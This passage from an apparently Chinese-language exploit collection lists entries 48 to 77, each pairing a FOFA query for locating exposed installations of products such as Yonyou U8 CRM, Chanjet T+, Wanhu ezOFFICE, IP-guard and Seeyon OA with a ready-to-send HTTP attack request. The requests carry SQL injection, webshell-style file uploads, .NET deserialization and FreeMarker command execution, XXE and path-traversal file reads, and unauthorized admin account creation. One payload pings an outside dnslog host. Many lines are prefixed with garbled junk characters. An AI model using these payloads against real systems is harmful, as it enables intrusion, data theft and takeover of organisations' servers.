, L+ J5 w: |  x% h( [. iAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
0 [, A7 P! X5 J: t4 W2 IConnection: close
2 i+ c4 }- E. T- D, w
: |# Y% N: m1 u, O2 O; [4 ?- P4 |
- x# G2 i9 }, O/ V3 l
& }7 z5 s( X" `48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
" V) u  y3 M. S8 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 B  N( }) M1 t+ i% ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# w3 F- C8 y- D; qAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
/ h! W- Q- d, tContent-Disposition: form-data; name="file"; filename="s.php"
1 N+ _$ p6 {4 r7 C$ S/ @% c, M# b1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--
$ i) y, U% j- z9 z4 h; j) e
/ G+ {0 C, g& Q5 Q# S! ~' A$ D- X
, o* V) g& R! f) k+ Y7 ^# @49. 用友U8 CRM系统uploadfile.php接口任意文件上传
* L0 N$ z9 }% z! j: t1 D5 c  QFOFA：body="用友U8CRM"

3 g. Z  Q- s3 ~& lPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' g: F0 U# f" i4 ]) h8 J- ~& CContent-Length: 329
& Z# Y  ~+ X( LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
9 u# X8 s, b- ~$ a$ ^% t0 g, }9 F& N; _Accept-Encoding: gzip, deflate
$ ^1 Q) ^, C) {4 vAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
1 u$ r  G) z0 D+ Y4 CContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
  K# Y/ o+ e+ a3 Q: uContent-Disposition: form-data; name="file"; filename="%s.php "
$ _; u! g1 L+ e2 o* A# ]# k) k+ o. wContent-Type: application/octet-stream

4 a& M5 L) N: e4 Y  X" Nwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
( g# E7 Y7 A9 sContent-Disposition: form-data; name="upload"
5 A! K" K' y0 }6 b' s
( d' _& I1 K/ b0 N- I. `: \upload
& M5 ?% F0 B$ H-----------------------------vvv3wdayqv3yppdxvn3w--

* s1 U# B7 }3 q- J4 j: j7 ?
1 l$ L- ]& L( M) `! Qhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
( W: S; ~' |8 m, U3 ?
50. QDocs Smart School 6.4.1 filterRecords SQL注入
$ u0 p0 f, X( A/ b$ BFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
' i+ R/ F7 d/ U) `4 T7 ^* |User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
5 P: ?/ A7 u; eConnection: close
/ }/ t5 f$ i, k& E- p8 @Content-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
0 _  I) S$ a8 }  X8 N7 |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
. ]8 G2 P" F* P6 N6 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
. E, {( T) G) @% S# k! O5 p" rAccept-Encoding: gzip, deflate
: u3 J$ }, N7 D& v7 |, o; ^Accept-Language: zh-CN,zh;q=0.9
) ~1 p, v, m0 t. vConnection: close
6 d. U' z( Q  N* i" o: h5 K- S
  [& T& M+ S6 n" J2 q
8 A3 ]+ A5 X5 y$ F6 I52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
3 x# M) ]6 U9 qPOST /building/json_common.php HTTP/1.1
7 r$ |0 d( x! G" Q) DHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
( k* C" Q- n7 I: ^Connection: close
Content-Length: 87
  y  F8 @4 H( p( aAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
% Z9 W" P  e+ }" i7 T
3 T5 s: q* q. X7 e; I2 `tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
$ J  r2 c0 O) ^9 i3 p- o
) K: \9 Q2 n  `$ H) J; O3 v! y* P
53. 迪普 DPTech VPN Service 任意文件上传
5 z* b. B2 b) L. D: [1 @* }FOFA：app="DPtech-SSLVPN"
% P4 E' Y: h; X8 k/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
! Z7 b8 y) Z& ?0 X
2 c! k% S' v6 y0 m7 H9 N0 h
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
6 I7 b7 Q5 ~2 _" B: X8 g第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
/ L0 n* v+ ]% A1 t' c6 l9 P"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
- R& N  T8 P" A2 p

8 @, [( _8 I8 |: r, h: i6 ?& ?1 _" X完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
1 A  {5 m4 M1 ^6 u0 @* |( B) V& |Host: x.x.x.x
5 w+ w" ^1 }1 L+ q( u! hUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
% E# Y" o* c+ b! J9 q3 X! H3 wContent-Length: 593

1 I& g) F+ L2 W% ~7 b{
9 Q+ a# N7 J! S6 V6 y"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
- B& ?' z6 r8 @* v   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
* E( D- K* L6 t3 x9 \    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
5 @2 i8 v5 u$ z! c8 U    }
  }
0 _5 J' ?8 k+ ^  B. k- }5 K  }
}
$ P/ I" J6 e0 w' h% V
8 A5 j; U4 e( j# L0 B* ?
第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
( T. i. }) @/ _
4 B/ @: p# [6 b$ W$ ]/ {$ ?/ ]; p' a
55. 畅捷通T+ getdecallusers信息泄露
* u, i1 T9 R7 T$ D, oFOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
" b: w" r+ {0 j% N6 o: V第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
/ P+ ~7 M2 c  P  ?8 {
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
) @# e" Z# K5 ^! z; o* _& BFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
' Y4 s( u6 ^4 }6 _% ~; oHost: x.x.x.x
! Z( Q; e5 E9 E% Q, w+ ]8 r* i' L) @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
  "storeID":{
; A8 C# F$ A# z2 D! A    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. e' P1 r( i6 u1 v4 W7 [        "StartInfo": {
9 ~5 E# G% D. ]& G; e/ ~4 j0 v           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
8 M5 M& ~' c2 T* O! M       }
; r4 [' Z' o) x/ |& f* d7 [0 e    }
  }
- `: u* J, z" v1 [0 N}


57. 畅捷通T+ keyEdit.aspx SQL注入
/ U- ^: L( I- Q2 k7 dFOFA：app="畅捷通-TPlus"
$ K# O0 O6 V! OGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
9 ^4 d  F+ i, ]9 B' p% NUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
9 i7 S: O+ U* r3 u' Z. K' LAccept-Charset: utf-8
* ^% h) d0 A! @* e  `3 k7 b0 L- T7 gAccept-Encoding: gzip, deflate
Connection: close

1 H9 U+ _* H8 {, y+ I* ]1 q: X
" \% K# Z# e3 g: M58. 畅捷通T+ KeyInfoList.aspx sql注入
/ R4 Y! G, B% \- F: `3 yFOFA：app="畅捷通-TPlus"
9 S1 X5 l; t9 |* Q/ z4 ?: LGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
" Z: {% y$ q8 f9 e( jAccept-Encoding: gzip, deflate
Connection: close

$ w8 K9 j. t3 ]& ]; d
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
* V  h: {1 z- [) ~POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
+ ^$ y) F" [  Y4 z& u6 EHost: 192.168.86.128:9090
$ i% d/ ^- B9 W" fUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
6 X3 E' f' j4 K- A8 q. {8 uContent-Length: 1669
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD

+ P- _: ~! B0 ~# W& V& f3 H
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
% q; I5 E) |( B- ~( t6 k/ ]Host:
8 m, |- g: m, E/ q% W# tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 t2 M2 [/ \8 |' S; q  o7 }Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' P1 A, Z/ Z+ @5 p: {) V$ lConnection: close

; d8 j4 G  K4 T" O% w! W: T$ [
- E3 y" [, u1 B/ n- D# U/ B61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
4 H+ h9 B1 c1 d' r, M0 CHost: x.x.x.x
6 M+ J" p! t8 {$ p- S# o- |+ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 d% o4 J1 m7 |2 x6 }Connection: close
' f8 U1 G  |# a6 ]! O3 p* A( ^Content-Length: 27
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
7 @% g4 K: P4 d+ K; y; mContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

& c* D9 L4 M3 S
62. IP-guard WebServer 远程命令执行
0 q8 C/ M, ^5 d. ?) f' u' ZFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
0 S- \7 o  F4 l7 EHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
- b+ U7 s0 r8 m5 E9 DAccept-Encoding: gzip
, q: B3 Q$ b9 r, T6 J5 R

访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
; I  V$ ?( H; i! fHost: x.x.x.x
) C" u9 V2 C; }$ d+ N; G
% x% K7 X7 N. t# j7 s7 V. ]7 E- @
5 B0 t' j4 J. E0 }4 `2 s1 L63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
/ @& J' F1 c+ SFOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
3 }. x& M: A" D( dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
5 y. F& X! K% W' dAccept-Encoding: gzip, deflate
# [1 g4 \. ]1 @7 W% BAccept-Language: zh-CN,zh;q=0.9
Connection: close
1 c! q  j2 {/ y! s7 q' h8 oContent-Type: application/x-www-form-urlencoded
( X+ H" K. B* o# c
path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

: ^- _& b5 R: p+ I7 W4 R64. 捷诚管理信息系统CWSFinanceCommon SQL注入
8 p% P9 i4 _4 W; s! z% lFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
- W4 X# p  i# q- n9 \3 w/ PConnection: close
Content-Length: 369
% u- j$ F% W% l% {- {8 N7 o- w( ]Accept: */*
0 b1 E( i9 l$ b; F) oAccept-Language: en
( v0 L# m, E$ l* n' l; nContent-Type: text/xml; charset=utf-8
6 {  E) E+ \  pAccept-Encoding: gzip
, h+ R) q6 U' j9 V
+ X. L+ {. x: [<?xml version="1.0" encoding="utf-8"?>
/ x1 j) N  t& X7 k# g<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
' o; ^& T" z8 [0 [<soap:Body>
: W+ B0 `. G  m& N5 O* L% \) j9 G    <GetOSpById xmlns="http://tempuri.org/">
4 A, h6 x/ y- v. x2 s9 b" H) {      <sId>1';waitfor delay '0:0:5'--+</sId>
7 c: v/ M' ?, z# s    </GetOSpById>
  </soap:Body>
</soap:Envelope>

. {7 v3 t7 M4 q% @3 ^: I
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
" s& C0 H2 x3 c8 ~: S" h4 V) g. hFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
" x: S) y7 z( }/ _8 }8 E2 DHost:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 \, M4 W  w: ]Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
; R4 M' h  ~( ]- P: w# F  XAccept-Language: en
Content-Length: 174

" e# t  ~) R8 n9 I: o! _0 joperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
0 x5 l: c$ x7 j3 w

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
2 D/ t+ ]4 D2 h8 Y; M1 U) uFOFA：app="万户ezOFFICE协同管理平台"

GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
# M7 E- U2 y. W  |4 ZConnection: close
6 a  h8 Y/ T2 Y- J" zAccept: */*
* L- O$ I. B( c$ l. IAccept-Language: en
Accept-Encoding: gzip
' L- I2 c# k. |; k2 k

$ `. q; Z8 }3 j第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
, W4 ?- ]- i6 f! D
+ S2 R" e& T" c1 B6 i67. 万户ezOFFICE wpsservlet任意文件上传
+ S; w1 b7 g) XFOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
6 V1 W+ R+ @0 E& R4 ?Host: x.x.x.x
5 z3 ?" [! O9 Y+ r$ _  ?4 n( jUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
$ T& o* h0 [4 W& \6 b' a8 B8 iContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
$ T% v: t1 g  V1 a, v6 [Accept-Encoding: gzip, deflate
8 j7 F) p' u7 [4 S6 `5 RAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
) g; p* R1 c' c3 d! qConnection: close
Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
& M, |, v! \/ `0 K8 ?4 B7 t  EDNT: 1
Upgrade-Insecure-Requests: 1
  x9 G% {  s- f  v5 H
) O( s! E3 x" [6 p; x8 }) D( A--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
2 S& l# a$ O% G, h9 a9 F# ~
<% out.print("sasdfghjkj");%>
* D. r, _, [4 [, z% b0 K$ F--ufuadpxathqvxfqnuyuqaozvseiueerp--
8 M0 @1 _* g5 E; F
& D, @& o7 |0 _! m' b
$ P& {" u' Q- y9 A" M3 e文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
0 z- Z3 G, y6 V6 M
68. 万户ezOFFICE wf_printnum.jsp SQL注入
$ b9 r2 C6 M3 H6 a2 K& J, R1 IFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: ~/ n' n9 K! aHost: {{host}}
9 j) s9 V! d. vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
& }9 ]" M) ^/ D8 W9 I  EAccept-Language: zh-CN,zh;q=0.9
& M+ f$ x  z  F, aConnection: close
' }: l+ |& v5 l* m1 l/ J3 |. B
: N) }4 \, P! S. @+ B  [& J! f
8 j  w! m- a2 q( E69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
6 r5 H$ r3 x& W9 T, O& A* z# P6 gGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
) n0 ]+ N' C6 L+ mHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
/ h" D& k0 h7 m" e! Y7 c+ ]8 {Accept: */*
+ a# n6 c$ @. NConnection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
& s, X" V" D) ~$ `7 ~; V4 iPOST /member/success.aspx HTTP/1.1
# x5 \5 D8 ^3 x, H3 JHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
% l( G" `* X# W0 GTYPE: C
; t" O8 ?( i9 Y$ TContent-Length: 16702

# ]# @  c& \4 k& F: g, V__VIEWSTATE=PAYLOAD


0 g" H" m6 L7 A% V+ ~2 a71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
8 [( s+ p( T* C6 vFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
( x. l5 J* A7 pUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ t+ l& P7 L2 o6 u7 P+ UAccept-Encoding: gzip, deflate
9 b2 V5 H0 ~; _" Z6 u+ GAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" z1 i4 S2 x# f4 m2 P' H) IUpgrade-Insecure-Requests: 1

7 @& W) Y* D" e. j) \6 Q: S1 S% y
- ^6 p( R, Z( J# P72. 致远OA getAjaxDataServlet XXE
5 ]6 D6 B) o$ M' ^* n& V* i  GFOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
. P& n" t% D; b, i7 e* {Host: 192.168.40.131:8099
; x: n% P" h4 b9 XUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
; m0 e' j3 @& e: i$ G# D" n+ P" MConnection: close
Content-Length: 583
# G% ^7 r6 Y6 t5 H" fContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
/ T/ i: u# v9 L6 U- F) f
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
) z6 o8 n) C$ ~% K

% ], a5 a9 d: i+ u& [73. GeoServer wms远程代码执行
5 S3 D/ D/ x* Y. |* ?0 F, kFOFA：icon_hash=”97540678”
! o! e8 G, b* ^* C+ ]3 APOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
! X! w+ S  b' l  B) M. x8 A& TContent-Length: 1981
Accept-Encoding: gzip, deflate
  z' s8 p: Y8 ?9 [2 v" y+ |Connection: close
Content-Type: application/xml
( G4 z* ~5 |9 L6 F( k3 l0 w2 m* MSL-CE-SUID: 3
9 Y, ~$ P# S' Z5 L/ E) v+ l
PAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
1 E+ T% L+ q- M2 X. iPAYLOAD
4 H8 r; i% B' a
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
0 z+ L% c' [7 x5 Q. ?Host: x.x.x.x
5 Y6 r! M% C9 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
  |  }: Y+ T; ~8 sAccept: */*
Accept-Language: en
Accept-Encoding: gzip
. V" N( K+ f* Y$ f- u# G
/ {/ j. r. A* ~  b' C3 Y/ |
GET /cgi-bin/test28256.txt HTTP/1.1
/ ]& I' \2 l, G! S9 \( MHost: x.x.x.x
; ^# p) [& S! I: I1 C

3 h$ Q1 A% P4 g76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
8 g9 q  g8 {- }; F: {Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 ]; V: p# @, r5 D. F# aAccept-Encoding: gzip, deflate
! Z$ r+ {, ^3 L$ b) r) [0 m- lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" E) V# D' p: j3 q* D% \) w6 R! |Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
" O2 y3 p4 o7 L" w"command": "GetFZinfo",
4 j3 p6 g+ a+ ?; a( E4 w2 v6 a4 M% t  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
( K9 d4 o7 Z9 t

# h( L! n5 y* c: P( @7 PGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
* Q  u; R. X) @4 s; R0 {2 Z/ `6 H; bHost: x.x.x.x

& w. B. \1 x6 j) v" W- P7 I; Z( W
4 n1 d# x1 n: c& t
" U" ?+ o; z: X77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
